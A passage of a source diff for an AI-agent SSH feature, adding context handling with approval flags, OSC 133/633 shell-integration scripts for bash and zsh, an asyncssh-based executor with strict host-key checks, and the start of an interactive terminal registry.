# minutes so late followers get the final frames, and a private key should
# not linger with it.
spec: dict[str, Any] = field(default_factory=dict)
# Set only on the per-call copy handed to a runner whose call a person has
# just allowed. The runners re-check the mode as a backstop, and without
# this they would refuse the very thing that was approved -- the mode says
# "ask", and asking is exactly what happened.
approved: bool = False
# Absolute paths this reply has read. `file_edit` refuses a file that is not
# in here, because a patch written from memory against a file the model has
# not looked at is how a rewrite silently loses somebody's work.
#
# Here rather than on `Generation` for two reasons. Runners never see a
# Generation -- they get a `ToolContext`, which is a session-free snapshot
# precisely so nothing in a tool holds live state -- and a read path is a
# fact about the machine, which is what this class is.
#
# It is **shared with the approved copy**: `as_approved` is
# `dataclasses.replace`, which copies field references, so a path read
# through an approved call is visible here. That is wanted and is not
# obvious, so there is a test for it.
#
# It resets each reply, and that is correct rather than a limitation.
# `Message.tool_calls_json` is deliberately never replayed as context, so on
# the next turn the model does not have the file's contents either --
# requiring a re-read in the reply that edits is asking for something it
# needs anyway.
read_paths: set[str] = field(default_factory=set)
# The plan currently in force, seeded from `chat.plan_message_id` when this
# is resolved. Mutable and read/written in place by `plan_update`, for a
# reason that is not obvious: a runner cannot write the message row --
# `_persist` is the single writer -- so it returns the merged plan on its
# event and the loop carries it. Two updates in one reply would then both
# read the same stale plan from the database and the second would lose the
# first. This snapshot is what they actually merge into.
plan: dict[str, Any] = field(default_factory=dict)
def executor(self) -> Executor:
return ssh_service.SshExecutor(self.spec, self.project_dir)
def clear(self) -> None:
self.spec = {}
def as_approved(self) -> AgentContext:
"""A copy of this context for one call a person has allowed."""
return replace(self, approved=True)
def _plan_of(db: DBSession, chat: Chat) -> dict[str, Any]:
"""The plan this chat is working to, or an empty dict.
One `db.get` by primary key -- the column exists to avoid a scan for "the
newest message carrying a plan", because this runs while a request is
waiting. The id is validated here rather than constrained in the schema, for
the reason the column's comment gives.
"""
from lembas.db.models import Message
from lembas.services import plans
if not chat.plan_message_id:
return {}
message = db.get(Message, chat.plan_message_id)
if message is None or message.chat_id != chat.id:
return {}
return plans.normalise(message.plan_json)
def profile_for(db: DBSession, chat: Chat, user: User | None) -> SshProfile | None:
"""The connection this chat is pointed at, if it is still usable.
Ownership is re-checked here rather than trusted from when the chat was
created: a profile can be deleted, disabled, or moved to a host whose key
has not been confirmed since, and any of those should stop the chat acting
rather than be discovered at the first command.
"""
if chat is None or chat.kind != KIND_AGENT or not chat.ssh_profile_id:
return None
profile = db.get(SshProfile, chat.ssh_profile_id)
if profile is None or not profile.enabled:
return None
if user is not None and profile.owner_id != user.id:
return None
return profile
def resolve(db: DBSession, chat: Chat, user: User | None) -> AgentContext | None:
"""This chat's agent setup, or None if it has none it can use.
None is the answer to every "no": not an agent chat, the feature switched
off, the connection gone or disabled, SSH not installed. Each of those means
the agent tools are not offered at all, which is better than offering a tool
that fails on its first call.
A profile whose host key has never been confirmed is deliberately *not* one
of them. The tools are offered and the failure is explicit, because "check
the connection and accept its fingerprint" is a thing the reader can act on,
while a silently missing tool is not.
"""
profile = profile_for(db, chat, user)
if profile is None:
return None
values = settings_store.agents(db)
if not values.get("enabled"):
return None
if ssh_service.available():
return None
return AgentContext(
chat_id=chat.id,
label=profile.label,
plan=_plan_of(db, chat),
project_dir=chat.project_dir or profile.default_dir or "",
profile_id=profile.id,
mode=chat.agent_mode if chat.agent_mode in policy.MODES else policy.MODE_MANUAL,
allow=tuple(values.get("allow_default") or ()),
deny=tuple(values.get("deny_default") or ()),
limits=Limits(
steps=int(values.get("max_steps") or 200),
wall_seconds=float(values.get("max_wall_seconds") or 900),
output_bytes=int(values.get("max_total_output_bytes") or 1024 * 1024),
# `or 0` would turn a deliberate 0 into the default, and 0 is how an
# administrator says "no ceiling". `agents()` has already clamped it.
completion_tokens=int(values.get("max_completion_tokens", 200_000) or 0),
),
timeout=float(values.get("default_timeout") or 60),
max_timeout=float(values.get("max_timeout") or 600),
max_output=int(values.get("max_output_bytes") or 64 * 1024),
spec=ssh_service.spec_from(profile),
)
__all__ = ["AgentContext", "profile_for", "resolve"]
+401
View File
@@ -0,0 +1,401 @@
"""Knowing where one command ends and the next begins, in the terminal panel.
Without this the panel can offer "the last forty rows of the screen", which is
hard-wrapped at the terminal's width with no way to tell a wrap from a newline.
That is not something to hand a model and call it the output of a command.
So the shell is given hooks that emit invisible markers around the prompt, the
command and its result -- OSC 133, which is what VS Code, WezTerm and Ghostty
all use, plus two of VS Code's private codes for the things 133 has no room
for. A real terminal that understands 133 is not confused by ours, and one that
does not consumes and discards them, which is why the bytes are fanned out to
the browser unchanged.
**Three things about the mechanism.**
The integration is written by the PTY command string itself, with `printf`.
sshd runs that string through `$SHELL -c`, so it can branch on the shell's own
name and needs no probe, no second channel and no writable `$HOME`. Passing it
through the environment does not work: sshd's `AcceptEnv` is `LANG LC_*` on
every distribution anybody runs, so the variable is dropped silently -- and
bash reads `$BASH_ENV` only when non-interactive anyway. Feeding `source ` in
as keystrokes does work, and races a slow `.zshrc`, echoes into the scrollback,
and lands in shell history with no portable way to remove it.
Nothing needs hiding, and that is the point of choosing this mechanism. The
setup runs before the shell exists and never writes to the PTY's *input* side,
so there is nothing for the tty to echo. The first byte a viewer sees is the
first byte of their own prompt.
There is deliberately no `133;B`. It has to live at the end of `PS1`, and any
theme that rebuilds the prompt in a hook drops it silently every time. Every
marker here comes from a shell hook instead, so none of them depends on a
prompt string surviving somebody's dotfiles.
**Markers are advisory.** A program can print `\\e]133;D;0\\a` and move a
boundary. That is not a security problem -- the captured text is sanitised and
fenced either way, and a program could already print anything on screen -- but
nobody should later try to "validate" them.
"""
from __future__ import annotations
import re
from collections.abc import Callable
# Everything ours is under these two. 133 is FinalTerm's de-facto convention;
# 633 is VS Code's private space, borrowed because the raw stream carries the
# *echoed* command with readline's editing escapes in it and is not
# recoverable, and there is no standard code for "here is the command line".
MARK_PROMPT = "A" # 133;A -- a prompt is about to be drawn
MARK_OUTPUT = "C" # 133;C -- output starts here
MARK_DONE = "D" # 133;D;<exit>
MARK_COMMAND = "E" # 633;E;<escaped command>
MARK_CWD = "P" # 633;P;Cwd=<escaped path>
MARK_READY = "LEMBAS" # 633;LEMBAS;<shell>;1
# A marker longer than this is not one of ours. `cat` of a binary file produces
# stray ESC ] regularly, and without a bound one of them would swallow the rest
# of the session into a buffer that never emptied.
MAX_MARKER_BYTES = 8 * 1024
_ESC = 0x1B
_BEL = 0x07
# --- The snippets ------------------------------------------------------------
# `__lembas_esc` exists because an OSC payload may contain no BEL and no ESC
# (either would end it ambiguously) and no ';' (which would split the fields).
# Everything else rides through. It is also what lets `base.clean_output`'s
# existing OSC pattern swallow a whole marker in one bite.
BASH_RC = r"""
# LLeMbas shell integration.
#
# --rcfile replaces bash's normal startup files rather than adding to them, so
# bash's login sequence is reproduced here, in bash's own order, and nothing
# anybody has in a dotfile is skipped.
if [ -r /etc/profile ]; then . /etc/profile; fi
for __lembas_rc in "$HOME/.bash_profile" "$HOME/.bash_login" "$HOME/.profile"; do
if [ -r "$__lembas_rc" ]; then . "$__lembas_rc"; break; fi
done
unset __lembas_rc
if [ -r "$HOME/.bashrc" ]; then . "$HOME/.bashrc"; fi
__lembas_esc() {
local s=${1//\\/\\\\}
s=${s//;/\\x3b}; s=${s//$'\n'/\\x0a}; s=${s//$'\r'/\\x0d}
s=${s//$'\e'/\\x1b}; s=${s//$'\a'/\\x07}
builtin printf '%s' "$s"
}
__lembas_emit() {
if [ -n "$__lembas_running" ]; then
builtin printf '\e]133;D;%s\a' "${__lembas_last:-0}"
__lembas_running=
__lembas_have=
fi
builtin printf '\e]633;P;Cwd=%s\a' "$(__lembas_esc "$PWD")"
builtin printf '\e]133;A\a'
__lembas_armed=1
}
# $BASH_COMMAND is the current *simple* command, so `a | b` would give "a".
# `history 1` is the whole line as typed, which is what somebody would
# recognise; it falls back when history is off.
__lembas_line() {
local h
h=$(HISTTIMEFORMAT='' builtin history 1 2>/dev/null) || {
builtin printf '%s' "$BASH_COMMAND"; return; }
if [[ $h =~ ^[[:space:]]*[0-9]+[[:space:]]+(.*)$ ]]; then
builtin printf '%s' "${BASH_REMATCH[1]}"
else
builtin printf '%s' "$BASH_COMMAND"
fi
}
# The exit status is captured *in the DEBUG trap*, not in PROMPT_COMMAND.
#
# This is the one genuinely subtle thing in the file. DEBUG fires before every
# simple command -- including each command inside PROMPT_COMMAND -- so anything
# reading $? from there has already had it overwritten by whatever ran a moment
# earlier, and by this trap's own command substitution. The first DEBUG firing
# after the user's command is the last place the real status exists, so it is
# taken there and held until the prompt emits it.
#
# `__lembas_have` is what stops the later firings (the ones inside
# PROMPT_COMMAND) overwriting it, and `return $__s` puts $? back so nothing
# downstream sees a status this trap invented.
__lembas_debug() {
local __s=$?
if [ -n "$__lembas_running" ] && [ -z "$__lembas_have" ]; then
__lembas_last=$__s
__lembas_have=1
fi
if [ -n "$__lembas_armed" ]; then
__lembas_armed=
builtin printf '\e]633;E;%s\a' "$(__lembas_esc "$(__lembas_line)")"
builtin printf '\e]133;C\a'
__lembas_running=1
fi
return $__s
}
trap '__lembas_debug' DEBUG
# Appended, so anything already there still runs and runs first.
if [ -n "${BASH_VERSINFO[0]}" ] && [ "${BASH_VERSINFO[0]}" -ge 5 ] \
&& [ "${PROMPT_COMMAND@a}" = "a" ]; then
PROMPT_COMMAND=("${PROMPT_COMMAND[@]}" __lembas_emit)
else
PROMPT_COMMAND="${PROMPT_COMMAND:+$PROMPT_COMMAND; }__lembas_emit"
fi
builtin printf '\e]633;LEMBAS;bash;1\a'
# Self-deleting: bash has read the whole file by the time this runs, and one
# left in /tmp that a later shell might source is worse than any benefit.
rm -rf -- "$(dirname -- "${BASH_SOURCE[0]}")" 2>/dev/null
"""
# zsh re-reads $ZDOTDIR before *each* startup file, so every shim points it back
# at the user's directory, sources their file, and takes it again -- otherwise
# zsh finds the user's .zshrc and ours never loads.
#
# `LEMBAS_USER_ZDOTDIR` is passed in on the exec line and must not be guessed
# here. By the time .zshenv runs, `$ZDOTDIR` is already *our* directory, so a
# `${ZDOTDIR:-$HOME}` fallback in this file captures the wrong path and the
# shim ends up sourcing itself -- which looks like it works, right up to the
# point somebody notices none of their own configuration is loaded.
_ZSH_SHIM = r"""
: ${LEMBAS_USER_ZDOTDIR:=$HOME}
ZDOTDIR=$LEMBAS_USER_ZDOTDIR
[[ -r $ZDOTDIR/%(file)s ]] && source $ZDOTDIR/%(file)s
LEMBAS_USER_ZDOTDIR=$ZDOTDIR
ZDOTDIR=$LEMBAS_DIR
"""
ZSH_ENV = _ZSH_SHIM % {"file": ".zshenv"}
ZSH_PROFILE = _ZSH_SHIM % {"file": ".zprofile"}
ZSH_RC = (
_ZSH_SHIM % {"file": ".zshrc"}
+ r"""
__lembas_esc() {
local s=${1//\\/\\\\}
s=${s//;/\\x3b}; s=${s//$'\n'/\\x0a}; s=${s//$'\r'/\\x0d}
s=${s//$'\e'/\\x1b}; s=${s//$'\a'/\\x07}
builtin print -rn -- $s
}
__lembas_precmd() {
local __s=$?
if [[ -n $__lembas_running ]]; then
builtin printf '\e]133;D;%s\a' $__s
__lembas_running=
fi
builtin printf '\e]633;P;Cwd=%s\a' "$(__lembas_esc $PWD)"
builtin printf '\e]133;A\a'
}
# $1 is the line as typed, before alias and glob expansion -- what somebody
# would recognise. $2 and $3 are progressively more expanded and less useful.
__lembas_preexec() {
builtin printf '\e]633;E;%s\a' "$(__lembas_esc $1)"
builtin printf '\e]133;C\a'
__lembas_running=1
}
# Prepended, not appended: whichever precmd runs first is the only one that
# sees the real $?, and a theme's hook will have clobbered it by the time a
# later one runs.
precmd_functions=(__lembas_precmd $precmd_functions)
preexec_functions=(__lembas_preexec $preexec_functions)
builtin printf '\e]633;LEMBAS;zsh;1\a'
"""
)
ZSH_LOGIN = (
_ZSH_SHIM % {"file": ".zlogin"}
+ r"""
# The last file zsh reads, so this is where ZDOTDIR goes back for good.
ZDOTDIR=$LEMBAS_USER_ZDOTDIR
[[ -n $LEMBAS_DIR ]] && rm -rf -- $LEMBAS_DIR
unset LEMBAS_DIR LEMBAS_USER_ZDOTDIR
"""
)
def quote(value: str) -> str:
"""A single-quoted shell word, with embedded quotes escaped."""
return "'" + value.replace("'", "'\\''") + "'"
def command_for(project_dir: str, *, integrate: bool = True) -> str | None:
"""What the PTY runs.
Returns None for the account's plain login shell in the one case that has
always returned it -- no project directory and no integration -- so the
existing behaviour is byte for byte what it was.
`$SHELL -c` is what sshd puts this through, so it is POSIX sh and branches
on the shell's own name. Anything that is not bash or zsh falls out of the
`case` into exactly the line that was here before, because a terminal that
works without markers is worth more than markers that break a terminal.
Every step is `2>/dev/null`, so a full `/tmp` or a read-only home costs the
markers and nothing else.
"""
cd = f"cd {quote(project_dir)} 2>/dev/null; " if project_dir else ""
if not integrate:
if not project_dir:
return None
return f"{cd}exec ${{SHELL:-/bin/sh}} -l"
return (
f"{cd}umask 077; "
# mkdir -m 700 fails on a path that already exists, which is what makes
# the fallback safe when mktemp is missing.
'__L=$(mktemp -d 2>/dev/null) || { '
'__L=${TMPDIR:-/tmp}/.lembas-$$-$RANDOM; mkdir -m 700 "$__L"; }; '
"case ${SHELL##*/} in "
f' bash) printf %s {quote(BASH_RC)} > "$__L/rc" 2>/dev/null && '
' exec bash --rcfile "$__L/rc" -i ;; '
f' zsh) printf %s {quote(ZSH_ENV)} > "$__L/.zshenv" 2>/dev/null && '
f' printf %s {quote(ZSH_PROFILE)} > "$__L/.zprofile" 2>/dev/null && '
f' printf %s {quote(ZSH_RC)} > "$__L/.zshrc" 2>/dev/null && '
f' printf %s {quote(ZSH_LOGIN)} > "$__L/.zlogin" 2>/dev/null && '
# The user's own ZDOTDIR is captured *here*, before it is replaced.
' LEMBAS_DIR="$__L" LEMBAS_USER_ZDOTDIR="${ZDOTDIR:-$HOME}" '
' ZDOTDIR="$__L" exec zsh -l ;; '
"esac; "
# Everything that did not exec lands here: an unknown shell, a failed
# mkdir, a full /tmp. You still get a shell.
'rm -rf -- "$__L" 2>/dev/null; exec ${SHELL:-/bin/sh} -l'
)
# --- Reading them back -------------------------------------------------------
_UNESCAPE = re.compile(r"\\x([0-9a-fA-F]{2})")
def unescape(value: str) -> str:
"""Undo `__lembas_esc`."""
return _UNESCAPE.sub(lambda m: chr(int(m.group(1), 16)), value).replace("\\\\", "\\")
class Marks:
"""Pulls the markers out of a stream that arrives in any pieces.
Deliberately not a regex over the scrollback. The pump is handed 64 KB at a
time on no particular boundary, so the ESC and the `]` land in different
frames often enough to matter -- which is the same reason nothing here
decodes the bytes. This holds at most one partial marker and nothing else.
"""
def __init__(
self,
on_mark: Callable[[str, str], None],
on_text: Callable[[bytes], None] | None = None,
) -> None:
self._on_mark = on_mark
self._on_text = on_text
self._buffer = bytearray()
self._in_marker = False
self._plain = bytearray()
def feed(self, data: bytes) -> None:
"""Split the stream into markers and everything else.
Both come back *in order* and as they are found, not after the whole
chunk has been scanned. That matters: a shell frequently writes the
command marker, the output and the finished marker in one 64KB read, so
anything that scanned first and absorbed afterwards would find the
capture already closed and keep nothing.
"""
for byte in data:
if not self._in_marker:
# A lone ESC is held: the ']' may be in the next frame.
if byte == _ESC:
self._flush()
self._buffer = bytearray([byte])
self._in_marker = True
else:
self._plain.append(byte)
continue
if len(self._buffer) == 1:
if byte != 0x5D: # ']' -- some other escape sequence
# Not ours, so it is output like anything else. Emitted
# rather than dropped: `clean_output` strips it later, and
# swallowing it here would silently eat a colour change.
self._in_marker = False
self._plain += self._buffer
self._plain.append(byte)
self._buffer.clear()
continue
self._buffer.append(byte)
continue
# Two legal terminators, and shells in the wild use both: BEL, and
# ESC \ (ST). The ESC has to be *appended* rather than treated as
# the start of something new, or the ST branch below can never fire.
if byte == _BEL:
self._finish()
continue
self._buffer.append(byte)
if self._buffer.endswith(b"\x1b\\"):
del self._buffer[-2:]
self._finish()
continue
# An `ESC ]` inside a marker that was never terminated starts a new
# one. Without this a truncated marker would eat the next.
if self._buffer.endswith(b"\x1b]"):
self._buffer = bytearray(b"\x1b]")
continue
if len(self._buffer) > MAX_MARKER_BYTES:
# Not one of ours. Output is worth more than a marker.
self._in_marker = False
self._plain += self._buffer
self._buffer.clear()
self._flush()
def _flush(self) -> None:
if not self._plain:
return
if self._on_text is not None:
self._on_text(bytes(self._plain))
self._plain.clear()
def _finish(self) -> None:
payload = bytes(self._buffer[2:]).decode("utf-8", "replace")
self._in_marker = False
self._buffer.clear()
code, _, rest = payload.partition(";")
if code not in ("133", "633") or not rest:
return
kind, _, value = rest.partition(";")
self._on_mark(kind, value)
__all__ = [
"BASH_RC",
"MARK_COMMAND",
"MARK_CWD",
"MARK_DONE",
"MARK_OUTPUT",
"MARK_PROMPT",
"MARK_READY",
"MAX_MARKER_BYTES",
"Marks",
"ZSH_ENV",
"ZSH_LOGIN",
"ZSH_PROFILE",
"ZSH_RC",
"command_for",
"quote",
"unescape",
]
+396
View File
@@ -0,0 +1,396 @@
"""Acting on a machine over SSH.
Connections are made per call, for the reason MCP sessions are, plus one more: a
live `SSHClientConnection` is exactly the kind of state `ToolContext` exists so
that nothing holds. A command is already a network round trip inside a reply
that takes seconds, so a second one to open the channel is not the cost worth
optimising.
**Four asyncssh defaults are actively wrong here, and all four are passed
explicitly on every connection.** Every LLeMbas user shares one unix account, so
"whatever the account has lying around" is never the right answer:
* `known_hosts` unset reads that shared `~/.ssh/known_hosts` -- one trust store
for everybody. Set to `None` it disables host key checking altogether, which
is never correct and is the single easiest way to make this insecure.
* `client_keys` unset loads `~/.ssh/id_*`, so one person's chat could
authenticate with a key another person left there, or with the server's own.
* `config` unset reads `~/.ssh/config`, where a `Hostname` or `ProxyCommand`
can send the connection somewhere else entirely.
* `agent_path` unset silently uses `$SSH_AUTH_SOCK`.
`asyncssh` is an optional dependency, imported inside the functions that need it
so an instance with agents switched off never pays for it and an instance that
forgot to install it gets a sentence rather than an ImportError at startup.
"""
from __future__ import annotations
import logging
import time
from typing import Any
from lembas.db.models import AUTH_PASSWORD, SshProfile
from lembas.services.agent.base import (
ExecError,
ExecRequest,
ExecResult,
RemoteEntry,
clean_output,
)
from lembas.services.crypto import decrypt
log = logging.getLogger(__name__)
# A file read into a model's context, and one written out of it. Both bounded:
# the first because a 40 MB log would fill the window, the second because
# nothing a model writes in one call should be larger than this.
MAX_READ_BYTES = 256 * 1024
MAX_WRITE_BYTES = 1024 * 1024
# How many entries a directory listing returns before it is cut short.
MAX_ENTRIES = 500
INSTALL_HINT = (
"SSH support is not installed. Run `pip install -e \".[ssh]\"` in the "
"LLeMbas virtual environment and restart."
)
def available() -> str:
"""Empty when SSH can be used, else why it cannot.
Shaped like `search.availability`, and used the same way: the feature stays
visible in the UI with an install hint rather than silently missing.
"""
try:
import asyncssh # noqa: F401
except ImportError:
return INSTALL_HINT
return ""
def spec_from(profile: SshProfile) -> dict[str, Any]:
"""A session-free snapshot of one profile, credential decrypted.
Called while the session is open. The plaintext lives in the returned dict
and nowhere else; `generation` drops it when the reply ends.
"""
return {
"id": profile.id,
"label": profile.label,
"host": profile.host,
"port": int(profile.port or 22),
"username": profile.username,
"auth": profile.auth,
"password": decrypt(profile.password_encrypted),
"private_key": decrypt(profile.private_key_encrypted),
"key_passphrase": decrypt(profile.key_passphrase_encrypted),
"host_key": profile.host_key,
"connect_timeout": int(profile.connect_timeout or 15),
}
def connect_kwargs(spec: dict[str, Any]) -> dict[str, Any]:
"""Everything asyncssh must be told rather than left to discover.
See the module docstring: every one of these has a default that is wrong
when one unix account is shared by every user of the instance.
"""
if not spec.get("host_key"):
raise ExecError(
"This connection's host key has not been confirmed yet. Open it "
"under Agents and press Check, then accept the fingerprint."
)
keys: list = []
if spec.get("auth") != AUTH_PASSWORD and spec.get("private_key"):
import asyncssh
try:
keys = [
asyncssh.import_private_key(
spec["private_key"], passphrase=spec.get("key_passphrase") or None
)
]
except Exception as exc: # noqa: BLE001 - any failure here is one message
raise ExecError(f"That private key could not be read: {exc}") from exc
timeout = int(spec.get("connect_timeout") or 15)
return {
"username": spec["username"],
"port": int(spec.get("port") or 22),
# Bytes, never None. None turns host key checking off entirely.
"known_hosts": spec["host_key"].encode(),
"client_keys": keys,
"password": (spec.get("password") or None) if spec.get("auth") == AUTH_PASSWORD else None,
"config": None,
"agent_path": None,
"connect_timeout": timeout,
"login_timeout": timeout,
}
async def capture_host_key(host: str, port: int, *, timeout: int = 15) -> tuple[str, str]:
"""The host's key as a known_hosts line, and its SHA256 fingerprint.
`get_server_host_key` completes the key exchange and stops, so nothing is
offered to a host that has not been accepted yet -- no username, no
password, no key. That is what makes trust-on-first-use safe to do from a
button rather than only from a terminal.
"""
if problem := available():
raise ExecError(problem)
import asyncio
import asyncssh
try:
key = await asyncio.wait_for(
asyncssh.get_server_host_key(host, port=port), timeout=timeout
)
except TimeoutError as exc:
raise ExecError(f"{host} did not answer within {timeout}s.") from exc
except (OSError, asyncssh.Error) as exc:
raise ExecError(f"Could not reach {host}: {exc}") from exc
if key is None:
raise ExecError(f"{host} offered no host key.")
algorithm = key.get_algorithm()
encoded = key.export_public_key("openssh").decode().split()[1]
where = f"[{host}]:{port}" if port != 22 else host
return f"{where} {algorithm} {encoded}\n", key.get_fingerprint("sha256")
class SshExecutor:
"""One target, reached over SSH. A connection per call."""
def __init__(self, spec: dict[str, Any], project_dir: str = "") -> None:
self.spec = spec
self.project_dir = project_dir or ""
self.label = str(spec.get("label") or spec.get("host") or "the remote host")
def _connect(self):
if problem := available():
raise ExecError(problem)
import asyncssh
return asyncssh.connect(self.spec["host"], **connect_kwargs(self.spec))
def _wrap(self, exc: Exception) -> ExecError:
import asyncssh
if isinstance(exc, asyncssh.HostKeyNotVerifiable):
return ExecError(
f"{self.label} presented a different host key than the one that "
"was confirmed. Nothing was sent. If the host was rebuilt, open "
"it under Agents and confirm the new fingerprint."
)
if isinstance(exc, asyncssh.PermissionDenied):
return ExecError(f"{self.label} refused the credential.")
return ExecError(f"Could not reach {self.label}: {exc}")
async def run(self, request: ExecRequest) -> ExecResult:
"""Run one command and read back what it said.
Every command is a fresh shell, so `cd` does not carry between calls --
the working directory is set here, from `cwd` or the chat's project
directory, and never spliced into the command string.
"""
import asyncssh
started = time.monotonic()
directory = request.cwd or self.project_dir
# A single-quoted path, with any embedded quote escaped. `cd` needs a
# shell, so this is the one place a path meets one -- and it is a path
# from the chat's own configuration, not from the model, except when the
# model passed `cwd`, which is why it is quoted rather than trusted.
command = request.command
if directory:
command = f"cd {_quote(directory)} && {command}"
try:
async with self._connect() as conn:
result = await conn.run(
command,
check=False,
timeout=request.timeout,
# Interleaved, because a shell transcript is what the model
# has to read and separating them loses the ordering.
stderr=asyncssh.STDOUT,
# A command that waits for input fails at once instead of
# sitting out its whole timeout in silence.
stdin=asyncssh.DEVNULL,
)
except TimeoutError:
elapsed = int((time.monotonic() - started) * 1000)
return ExecResult(
exit_status=-1,
output=f"The command was still running after {request.timeout:g}s and was stopped.",
timed_out=True,
duration_ms=elapsed,
)
except (OSError, asyncssh.Error) as exc:
raise self._wrap(exc) from exc
output, truncated = clean_output(result.stdout or "", limit=request.max_bytes)
return ExecResult(
exit_status=result.exit_status if result.exit_status is not None else -1,
output=output,
truncated=truncated,
duration_ms=int((time.monotonic() - started) * 1000),
)
# --- Files go over SFTP, never through a shell ---------------------------
# The SSH exec protocol carries one command *string* that the far side's
# shell parses; there is no argv form. So a path in a command line is
# unavoidably a quoting problem, and a model-supplied path is exactly the
# input that must not become one. Over SFTP a path is a path.
async def read_file(self, path: str, *, max_bytes: int = MAX_READ_BYTES) -> str:
import asyncssh
try:
async with (
self._connect() as conn,
conn.start_sftp_client() as sftp,
sftp.open(self._resolve(path), "rb") as handle,
):
data = await handle.read(max_bytes + 1)
except asyncssh.SFTPNoSuchFile as exc:
raise ExecError(f"There is no file at {path}.") from exc
except asyncssh.SFTPPermissionDenied as exc:
raise ExecError(f"Not allowed to read {path}.") from exc
except (OSError, asyncssh.Error) as exc:
raise self._wrap(exc) from exc
text, _truncated = clean_output(data[:max_bytes], limit=max_bytes)
return text
async def write_file(self, path: str, text: str) -> int:
import asyncssh
payload = text.encode("utf-8")[:MAX_WRITE_BYTES]
try:
async with (
self._connect() as conn,
conn.start_sftp_client() as sftp,
sftp.open(self._resolve(path), "wb") as handle,
):
await handle.write(payload)
except asyncssh.SFTPPermissionDenied as exc:
raise ExecError(f"Not allowed to write {path}.") from exc
except (OSError, asyncssh.Error) as exc:
raise self._wrap(exc) from exc
return len(payload)
async def list_dir(self, path: str = "") -> list[str]:
import asyncssh
try:
async with self._connect() as conn, conn.start_sftp_client() as sftp:
target = self._resolve(path) if path else (self.project_dir or ".")
names = await sftp.listdir(target)
except asyncssh.SFTPNoSuchFile as exc:
raise ExecError(f"There is no directory at {path or self.project_dir}.") from exc
except (OSError, asyncssh.Error) as exc:
raise self._wrap(exc) from exc
visible = sorted(n for n in names if n not in (".", ".."))
return visible[:MAX_ENTRIES]
async def scan_dir(self, path: str = "") -> list[RemoteEntry]:
"""A listing with types, for a picker rather than for a model.
`readdir` rather than `listdir`: the latter returns bare names, and a
browser has to know which rows can be walked into before it can draw
them. Directories sort first and then by name, because that is the
order somebody navigating expects -- `list_dir` keeps its plain
lexicographic sort, since changing what a tool returns is changing a
contract a model has already been shown.
"""
import stat
import asyncssh
try:
async with self._connect() as conn, conn.start_sftp_client() as sftp:
target = self._resolve(path) if path else (self.project_dir or ".")
names = await sftp.readdir(target)
except asyncssh.SFTPNoSuchFile as exc:
raise ExecError(f"There is no directory at {path or self.project_dir}.") from exc
except asyncssh.SFTPPermissionDenied as exc:
raise ExecError(f"Not allowed to read {path or self.project_dir}.") from exc
except (OSError, asyncssh.Error) as exc:
raise self._wrap(exc) from exc
entries: list[RemoteEntry] = []
for item in names:
name = item.filename
if name in (".", ".."):
continue
attrs = item.attrs
permissions = getattr(attrs, "permissions", None) or 0
entries.append(
RemoteEntry(
name=name,
is_dir=stat.S_ISDIR(permissions),
size=getattr(attrs, "size", None) or 0,
modified=int(getattr(attrs, "mtime", None) or 0),
)
)
entries.sort(key=lambda entry: (not entry.is_dir, entry.name.lower()))
return entries[:MAX_ENTRIES]
def _resolve(self, path: str) -> str:
"""A path relative to the project directory, unless it is absolute.
Deliberately *not* a containment check. The account on the far side is
the boundary -- a profile whose user can only see /srv/project can only
reach things under it -- and pretending otherwise here would be a
comfort rather than a control, since `shell_run` could walk out of it in
one line anyway.
"""
if not path:
return self.project_dir or "."
if path.startswith("/") or not self.project_dir:
return path
return f"{self.project_dir.rstrip('/')}/{path.lstrip('/')}"
def _quote(value: str) -> str:
return "'" + value.replace("'", "'\\''") + "'"
async def check(spec: dict[str, Any], project_dir: str = "") -> dict[str, Any]:
"""Connect, confirm the project directory, and report what was found.
Used by the Check button on a profile. Runs one harmless command rather than
only opening a connection, because "the credential works" and "the directory
is there" are the two things somebody is actually asking about.
"""
executor = SshExecutor(spec, project_dir)
result = await executor.run(
ExecRequest(command="uname -sr 2>/dev/null; pwd", timeout=15, max_bytes=4096)
)
lines = [line for line in result.output.splitlines() if line.strip()]
return {
"ok": result.ok,
"system": lines[0] if lines else "",
"cwd": lines[-1] if len(lines) > 1 else "",
"output": result.output,
}
__all__ = [
"INSTALL_HINT",
"MAX_ENTRIES",
"MAX_READ_BYTES",
"SshExecutor",
"available",
"capture_host_key",
"check",
"connect_kwargs",
"spec_from",
]
+727
View File
@@ -0,0 +1,727 @@
"""Interactive shells, one per agent chat, held open behind the panel.
The other half of `ssh.py`. There a connection lives for one command, because a
runner is a request-and-answer and holding state would be the wrong shape. Here
the connection *is* the state: a PTY with a shell on the far side, its scrollback,
and whoever is currently watching it.
Shaped after `services/generation.py` -- a registry, a background task that owns
the work, and a socket that merely follows it -- and it differs in three ways
worth knowing:
* **Keyed on the chat, not on a session of its own.** A reload is
indistinguishable from a second tab, so anything finer needs an id in the
browser's storage, and then an abandoned tab leaks a shell nothing in the UI
can find. One chat, one shell. Two tabs share it, like `tmux attach` twice,
which is the only reading under which "it is still there when you come back"
means anything. They also share a size, and the smaller one wins.
* **Nothing here ends by itself.** A generation finishes, so `generation.ensure`
can prune inside itself. A shell sits at a prompt forever and nothing calls in
again, so there is a reaper task instead. Copying the generation shape here
would mean nothing was ever swept.
* **A slow reader is dropped, not buffered.** Every viewer has a bounded queue;
one that fills is disconnected and reattaches with the scrollback. Blocking
the pump instead would stall every other viewer and buffer without bound
inside the server -- and `yes` is one word to type.
What a person types here is deliberately not run past `agent/policy.py`. The
modes and the two lists govern a *model*, which reads untrusted pages and files
and can be talked into things. Somebody at a keyboard holds the credential
already and could open the same shell with an ssh client; asking them to approve
their own keystrokes would be theatre.
"""
from __future__ import annotations
import asyncio
import contextlib
import logging
import time
import uuid
from collections import deque
from dataclasses import dataclass, field
from typing import Any
from lembas.services.agent import capture, shell_marks
from lembas.services.agent.base import ExecError
from lembas.services.agent.ssh import available, connect_kwargs
log = logging.getLogger(__name__)
# What one shell keeps to hand a returning viewer. Bytes rather than lines: a
# line budget is dishonest about a program that writes one very long line.
SCROLLBACK_BYTES = 256 * 1024
# How much output one viewer may fall behind by before it is dropped. Frames
# are whatever the far side wrote, so this is generous in wall-clock terms and
# only reached by a browser that has genuinely stopped reading.
VIEWER_QUEUE = 512
# Read size. Large enough that `cat` of a big file is not a million wakeups,
# small enough that a prompt appears the instant it is written.
READ_BYTES = 64 * 1024
# A terminal nobody has ever heard of gets no colours; this one every shell
# knows and it is what an ordinary ssh client announces.
TERM_TYPE = "xterm-256color"
# A size is a number the browser sends. `change_terminal_size(100000, 100000)`
# is a way to ask the far side to allocate.
MAX_COLS = 500
MAX_ROWS = 300
MIN_COLS = 20
MIN_ROWS = 5
